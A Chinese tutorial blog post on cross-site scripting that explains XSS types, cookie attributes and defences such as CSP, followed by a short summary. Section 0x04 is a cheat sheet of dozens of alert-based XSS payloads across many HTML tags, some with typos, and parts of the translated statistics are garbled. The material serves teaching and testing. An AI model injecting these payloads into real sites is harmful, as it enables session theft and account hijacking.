XSS跨站脚本攻击漏洞

XSS跨站脚本攻击漏洞

在这里插入图片描述

0x01 XSS 背景

思科2018年度安全报告的结果显示,40%的能使网络瘫痪的攻击都是XSS攻击,这是最常用的攻击技术。当攻击者使用web应用程序在用户的计算机上发送或执行恶意代码时,就会发生这种特殊的攻击。

随着应用层的攻击越来越多,它已经成为网络安全的严重威胁。
对于大量应用程序来说,这已经是最大的安全性问题,特别是那些高可用性操作或优先服务中实现的应用程序,如医疗、银行、电子商务等。

根据**《2018年全球安全报告》(global security report 2018)给出的数据,平均每个应用程序大约有11个漏洞隐患。
这份报告显示,网络攻击正变得越来越具体、越来越频繁、越来越复杂。
在这里插入图片描述
其中,所占攻击比重最大的是
跨站点脚本攻击(XSS), 占总体攻击的40%,紧接着是SQL注入24%,cross-section为7%**,本地文件包含4%,分布式拒绝服务(DDoS)为3%。

当web应用程序从受害者计算机的浏览器执行恶意代码(通常以脚本的形式)时,就会发生XSS攻击。通过这种攻击,攻击者会窃取个人信息,或者窃取用户的cookies。

根据CWE/SANS列出的前25个最危险的漏洞,分为三类

  • 组件之间的不安全交互(6个错误)
  • 风险资源管理(8个错误)
  • 多孔性防御(11处错误)

0x02 XSS 概论

为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS。跨站点脚本(XSS)攻击是一种注射型攻击,攻击者在可信的网页中嵌入恶意代码,用户访问可信网页时触发XSS而被攻击。

利用XSS漏洞

web应用程序的内容可用来插入各种广告,影响商业网站的声誉或欺骗用户。
从开放会话中窃取会话cookie,并在这些会话在线时提取信息。
窃取或冒充合法用户的身份,窃取个人信息。
如果攻击者滥用这些被窃取的信息,用户的HTTP会话可能会被破坏或劫持。

XSS攻击的类型

在这里插入图片描述

反射型XSS:

在这种类型中,攻击者放置一个脚本来窃取受害者的cookie,接收到该cookie后,攻击者可以使用受害者的权限执行操作,而不需要使用任何类型的密码。
这种攻击在搜索引擎中很常见,通常是通过表单、url、cookies、flash程序甚至视频注入代码。
通过这种方式,代码可通过第三种机制被重定向。例如,通过电子邮件,攻击者可以说服用户点击message中的链接来执行任何JavaScript代码。其结果是将用户的流量重定向到攻击者的web应用程序。如果所述Web应用程序存在XSS漏洞,则其执行将在承载该应用程序的Web站点的可信环境中执行。
在这里插入图片描述

存储型XSS:

攻击者将HTML代码直接注入允许访问的web页面或站点。
这种攻击需要编程标记(如JavaScript脚本)。这些代码在第一次攻击后对所有用户都是永久的。
攻击者发送的数据永久地存储在服务器上,然后显示给访问网站的用户。其结果包括:允许执行代码来获得提升的特权,默认用户激活了他们的管理员帐户。
在这里插入图片描述

DOM型XSS:

被认为是一种更复杂、鲜为人知或常见的攻击。不同之处在于,恶意代码是通过URL注入的,而不是在源代码中作为web的一部分加载的。
检测起来比较困难,它被认为是一个本地的XSS。
当一个被感染的页面被打开时,恶意代码会利用一些漏洞将自己安装到web浏览器的一个文件中,并且在没有任何预先验证的情况下执行。
与反射行XSS一样的是,这种攻击需要用户单击链接,因此web页面上的脚本选择URL变量并执行它所包含的代码。这种方法在窃取会话cookie方面更有效。
在这里插入图片描述
泄露存储在用户cookies中的信息:用户可以在客户端创建一个脚本,该脚本一旦执行,就会执行一些活动,比如将站点中的所有cookie解析为一个特定的电子邮件地址。

通过XSS攻击窃取COOKIE

这些攻击通常用于在数据库中窃取cookies。因此,攻击者执行任意脚本,从受害者的计算机中提取个人信息。

默认情况下,cookie是维护用户和web应用程序之间的会话身份验证的机制。但是,它们有固有的安全弱点,允许攻击这些会话的完整性。建议使用HTTPS协议来保护cookie,但是性能方面的成本很高,特别是对于那些高分布度的应用程序。

另一方面,即使启用了HTTPS协议,cookie也可以以多种方式公开。大多数cookie以文本文件或小型数据库的形式存储在用户的计算机中,如SQLite格式(Mozilla Firefox)。它的目标是存储与导航首选项、会话、凭据,诸如浏览器类型或用于访问网站的设备类型等相关的信息。

0x03 最常见的cookies类型

a.Session Cookie

这个类型的cookie只在会话期间内有效,即当关闭浏览器的时候,它会被浏览器删除。
设置session cookie的办法是:在创建cookie不设置Expires即可。

b.Persistent Cookie

持久型cookie顾名思义就是会长期在用户会话中生效。当你设置cookie的属性Max-Age为1个月的话,那么在这个月里每个相关URL的http请求中都会带有这个cookie。所以它可以记录很多用户初始化或自定义化的信息,比如什么时候第一次登录及弱登录态等。

c.Secure cookie

安全cookie是在https访问下的cookie形态,以确保cookie在从客户端传递到Server的过程中始终加密的。有效的降低了cookie被盗取的概率。

d.HttpOnly Cookie

目前主流的浏览器已经都支持了httponly cookie。
IE5+/Firefox 1.0+/Opera 8.0+/Safari/Chrome
在支持httponly的浏览器上,设置成httponly的cookie只能在http(https)请求上传递。也就是说httponly cookie对客户端脚本语言(JavaScript)无效,从而避免了跨站攻击时JS偷取cookie的情况。当使用javascript在设置同样名字的cookie时,只有原来的httponly值会传送到服务器。

e.3rd-party cookie

第一方cookie是cookie种植在浏览器地址栏的域名或子域名下。
第三方cookie则是种植在不同于浏览器地址栏的域名下。例如:用户访问a.com时,在ad.google.com设置了个cookie,在访问b.com的时候,也在ad.google.com设置了一个cookie。

f.Super Cookie

Super Cookie是设置公共域名前缀上的cookie。通常a.b.com的cookie可以设置在a.b.com和b.com,而不允许设置在.com上。

目前,大多数web应用程序使用cookie来维护与用户的会话状态,也就是说,cookie是在用户通过身份验证(会话cookie)后发送的。对于以后的连接,将不需要额外的身份认证,因为验证后的cookie只会在允许新请求时进行验证。

这种身份验证功能使cookies成为攻击者的潜在目标,因为它们是由网站创建的,包含少量数据,可以在发送方和接收方之间发送。

例如,一个用户第一次访问一个web页面,他的计算机上保存了一个cookie。如果用户稍后访问同一页面,网站服务器会请求相同的cookie用站点的新配置更新它,这就是用户的访问变得如此个性化的原因。

当前补救率根据类型的漏洞

此外,如图,开发人员总是面向修复或纠正最易访问或最容易的问题。例如,应用程序的错误设置的补救率为74%,未修补的库的补救率为62%。然而,最复杂和困难的解决方案仍然是XSS(38%)和SQL注入(32%)

根据XSS漏洞的类别确定修复率

0x04常见标签

**<scirpt>**
<scirpt>alert("xss");</script>
**<img>标签**
<img src=javascript:alert("xss")>
<IMG SRC=javascript:alert(String.formCharCode(88,83,83))>
<img scr="URL" style='Xss:expression(alert(/xss));'
<img STYLE="background-image:url(javascript:alert('XSS'))">
<img src="x" onerror=alert('xss')>
<img src="1" onerror=eval("alert('xss')")>
<img src=1 onmouseover=alert('xss')>
**<a>标签**
<a href="javascript:alert('xss')">aa</a>
<a href=javascript:eval(alert('xss'))>aa</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">a</a>
<a href="" onclick=alert('xss')>aa</a>
<a href="" onclick=eval(alert('xss'))>aa</a>
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>
**input标签**
<input value="" onclick=alert('xss') type="text">
<input onfocus="alert('xss');">
<input name="name" value="" onmouseover=prompt('xss') bad="">
<input onblur=alert("xss") autofocus><input autofocus>
<input onfocus="alert('xss');" autofocus>
<input name="name" value=""><script>alert('xss')</script>
**<form>**
<form action=javascript:alert('xss') method="get">
<form action=javascript:alert('xss')>
<form method=post action=aa.asp? onmouseover=prompt('xss')>
<form method=post action=aa.asp? onmouseover=alert('xss')>
<form action=1 onmouseover=alert('xss)>
<form method=post action="data:text/html;base64,<script>alert('xss')</script>">
<form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
**<details>**
<details ontoggle="alert('xss');">
<details open ontoggle="alert('xss');">
**<svg>**
<svg onload=alert("xss");>
**<select>**
<select onfocus=alert(1)></select>
<select onfocus=alert(1) autofocus>
**<iframe>标签**
<iframe onload=alert("xss");></iframe>
<iframe src=javascript:alert('xss');height=5width=1000 /><iframe>
<iframe src="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe>
<iframe src="data:text/html;base64,<script>alert('xss')</script>">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="aaa" onmouseover=alert('xss') /><iframe>
<iframe src="javascript&colon;prompt&lpar;`xss`&rpar;"></iframe>
**svg<>标签**
<svg onload=alert(1)>
**<video>**
<video><source onerror="alert(1)">
**<audio>**
<audio src=x onerror=alert("xss");>
**<body>**
<body/onload=alert("xss");>
<body onscroll=alert("xss");><br><br><br><br>
**<textarea>**
<textarea onfocus=alert("xss"); autofocus>
**<keygen>**
<keygen autofocus onfocus=alert(1)>
**<marquee>**
<marquee onstart=alert("xss")></marquee>
**<isindex>**
<isindex type=image src=1 onerror=alert("xss")>
**expression属性**
<img style="xss:expression(alert('xss''))"> 
<div style="color:rgb(''x:expression(alert(1))"></div>
<style>#test{x:expression(alert(/XSS/))}</style>
**background属性**
<table background=javascript:alert(1)></table>

0x05 检测XSS的办法

内容安全策略(CSP)

内容安全策略是一种安全标准,用于防止XSS、点击劫持攻击和其他类型的弹出式攻击,这些攻击是在网页内容中执行恶意内容的结果。它是W3C工作组关于现代web浏览器支持的web应用程序安全性的建议。

使用这种方法,开发人员必须声明浏览器将上载到其网站的内容的批准来源,例如,JavaScript、CSS、HTML框架、字体、图像、可嵌入对象(如Java、ActiveX、音频和视频文件)和其他HTML5特性

输入文本验证

此方法是防御XSS攻击的更常见类型。这种对不可靠的文本条目的处理是通过模块的编程来过滤和分析文本的。

库或框架

包括微软的反XSS库,这是一个免费开放的集合,收集了开发人员构建一个名为OWASP ESAPI和ApacheWicket的安全web应用程序所需的所有安全方法。

XSSer

也称为跨站“脚本”,是一个用于检测和利用XSS漏洞的自动Web测试框架工具,它包含几个试图绕过某些过滤器的选项和一些代码注入的特殊技术。它是由OWASP开发的一种开源项目XSS。

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
跨站脚本攻击(Cross-Site Scripting,XSS)是一种常见的网络安全漏洞,攻击者利用这个漏洞向网站中注入恶意代码,并在用户浏览器上执行。这种攻击通常发生在存在输入输出的网页应用程序中。 XSS攻击主要分为三种类型: 1. 存储型XSS:攻击者将恶意代码存储在目标网站的数据库中,当其他用户访问该网站时,恶意代码被返回并在用户浏览器中执行。 2. 反射型XSS:攻击者构造一个包含恶意代码的URL,并将其发送给目标用户。用户点击链接后,恶意代码从URL中获取并在用户浏览器上执行。 3. DOM-based XSS:攻击者通过修改网页的DOM结构来执行恶意代码,不需要向服务器发送请求。这种类型的XSS攻击主要基于客户端脚本和DOM文档对象模型。 为了防止XSS攻击,开发人员可以采取以下几种措施: 1. 输入验证和过滤:对用户输入的数据进行验证和过滤,确保不允许包含恶意代码。 2. 输出编码:在将数据输出到网页上时,使用适当的编码方式(如HTML实体编码或JavaScript转义)来防止恶意代码的执行。 3. 使用安全的API:避免使用不安全的API,特别是将用户输入作为参数的API。例如,使用textContent替代innerHTML可以防止XSS攻击。 4. 设置HTTP头部:通过设置X-XSS-Protection和Content-Security-Policy头部,可以进一步加强网站的安全性。 请注意,这只是一些常见的防御措施,具体的应对措施还需要根据实际情况和开发框架来确定。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

lmn_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值